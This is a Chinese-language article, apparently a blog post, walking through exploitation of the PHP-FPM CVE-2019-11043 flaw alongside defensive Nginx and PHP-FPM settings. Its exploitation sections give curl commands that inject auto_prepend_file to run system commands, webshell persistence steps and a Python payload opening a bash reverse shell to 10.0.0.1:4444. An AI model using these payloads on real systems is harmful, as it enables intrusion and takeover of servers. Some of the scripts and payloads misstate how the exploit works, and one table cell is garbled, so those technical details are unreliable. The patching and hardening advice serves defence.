PHP-FPM远程代码执行漏洞深度剖析:CVE-2019-11043实战指南
漏洞背景与影响范围
2019年曝光的CVE-2019-11043漏洞影响了PHP 7.1至7.3版本的FastCGI进程管理器(PHP-FPM),当与Nginx组合使用时可能允许攻击者实现远程代码执行。这个漏洞源于PHP-FPM对PATH_INFO参数处理的边界检查缺失,结合特定Nginx配置时,可导致内存越界写入。
受影响环境特征:
- PHP版本:7.1.x < 7.1.33,7.2.x < 7.2.24,7.3.x < 7.3.11
- Web服务器:Nginx(特定配置)
- 服务架构:PHP-FPM监听9000端口(默认配置)
关键点:漏洞利用需要满足三个条件:Nginx错误配置、PHP-FPM暴露访问、存在可写目录。企业内网中采用容器化部署的PHP应用风险尤其突出。
漏洞原理深度解析
PHP-FPM工作机制剖析
PHP-FPM作为FastCGI协议的实现,负责处理Nginx转发的PHP请求。其核心交互流程如下:
Nginx → FastCGI协议封装 → PHP-FPM → 执行PHP脚本 → 返回结果典型请求参数转换示例:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'PATH_INFO': '/additional/path', 'QUERY_STRING': 'param=value' }漏洞触发机制
漏洞根源在于fpm_main.c中的缓冲区处理缺陷:
- 路径解析缺陷:当
PATH_INFO为空时,代码错误地前移指针导致缓冲区下溢 - 内存越界写入:攻击者可利用此缺陷覆盖相邻内存区域
- 环境变量注入:通过精心构造的请求注入
PHP_VALUE等配置参数
// 漏洞代码片段示意 if (path_info == NULL) { path_info = script_path_translated + strlen(script_path_translated); *path_info = 0; // 此处可能越界写入 }三种典型Nginx配置场景分析
场景一:标准PHP处理配置
location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; }检测方法:
def check_vulnerability(url): payload = "/index.php/PHP_VALUE%0Asession.auto_start=1" response = requests.get(url + payload) return response.status_code == 200 and "session.auto_start" in response.text利用限制:
- 需要知道服务器上存在的PHP文件绝对路径
- 依赖
auto_prepend_file等可修改的PHP配置项
场景二:带PATH_INFO支持的配置
location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; }攻击向量对比:
| 配置特征 | 利用难度 | 所需条件 |
|---|---|---|
| 无PATH_INFO | 高 | 需绝对路径 |
| 有PATH_INFO | 中 | 需相对路径 |
| 无文件检查 | 低 | 任意路径 |
场景三:强化安全配置
location ~ \.php$ { try_files $uri =404; fastcgi_pass unix:/var/run/php-fpm.sock; include fastcgi_params; }防护效果评估:
try_files指令阻止了不存在的文件请求- 使用Unix socket减少暴露面
- 仍可能通过合法文件路径触发漏洞
漏洞检测自动化实践
Python检测脚本实现
import requests import sys def detect_fpm_rce(target_url): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*" } test_paths = [ "/index.php", "/admin/index.php", "/wp-login.php" ] for path in test_paths: test_url = f"{target_url.rstrip('/')}{path}/PHP_VALUE%0Asession.auto_start=1" try: resp = requests.get(test_url, headers=headers, timeout=5) if "session.auto_start" in resp.text: return True, path except Exception as e: continue return False, NoneGo语言高效检测工具
package main import ( "fmt" "net/http" "strings" "time" ) func main() { targets := []string{ "http://example.com", "http://test.site/admin", } for _, target := range targets { client := &http.Client{Timeout: 5 * time.Second} req, _ := http.NewRequest("GET", target+"/index.php/PHP_VALUE%0Aauto_prepend_file=php://input", nil) resp, err := client.Do(req) if err == nil && resp.StatusCode == 200 { fmt.Printf("[+] Vulnerable: %s\n", target) } } }漏洞利用进阶技巧
多阶段攻击流程
信息收集阶段:
- 识别PHP文件路径(通过错误信息、常见CMS结构)
- 确定Nginx配置模式(分析响应头、错误页面)
初始访问阶段:
curl "http://target/index.php/PHP_VALUE%0Aauto_prepend_file=php://input" --data "<?php system('id');?>"权限维持阶段:
- 写入Webshell到临时目录
- 修改
.htaccess文件实现持久化
不同CMS的利用差异
| CMS类型 | 默认路径 | 特殊限制 |
|---|---|---|
| WordPress | /wp-admin/admin-ajax.php | 非ce路径限制 |
| NextCloud | /remote.php | 严格的输入过滤 |
| Joomla | /administrator/index.php | 会话验证要求 |
防御方案与缓解措施
即时防护方案
Nginx配置强化:
location ~ \.php$ { fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_param PATH_INFO $fastcgi_path_info; try_files $fastcgi_script_name =404; # 其他标准配置... }PHP-FPM安全设置:
; php-fpm.conf security.limit_extensions = .php listen.allowed_clients = 127.0.0.1
长期加固建议
- 补丁管理:升级到PHP 7.1.33+/7.2.24+/7.3.11+
- 架构优化:
- 使用Unix socket替代TCP端口
- 部署WAF过滤异常请求模式
- 监控策略:
- 检测异常的PATH_INFO参数
- 监控php-fpm进程崩溃频率
实战案例:从检测到利用
某次渗透测试中发现的目标环境特征:
- Nginx 1.16.0
- PHP 7.2.22
- 存在
/var/www/html/admin/index.php
分步利用过程:
确认漏洞存在:
./phuip-fpizdam http://target/admin/index.php执行系统命令:
curl "http://target/admin/index.php?a=ls+-la" -H "Ebut: PHP_VALUE"获取反向shell:
import requests payload = """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'");?>""" requests.post("http://target/index.php", data=payload)
遗留问题与深度思考
尽管官方补丁已发布多年,但在实际环境中仍观察到以下现象:
- 配置惯性问题:企业升级PHP版本但保留危险配置
- 容器化部署风险:使用包含漏洞的基础镜像且无有效监控
- WAF绕过技术:通过编码和参数拆分绕过安全检测
某金融企业实际遭遇的攻击时间线:
Day 1: 攻击者扫描发现漏洞 Day 3: 植入加密货币挖矿程序 Day 5: 横向移动至内网系统 Day 7: 数据泄露事件发生这提醒我们,对于此类历史漏洞,需要建立持续的配置核查机制,而不仅仅是简单的版本升级。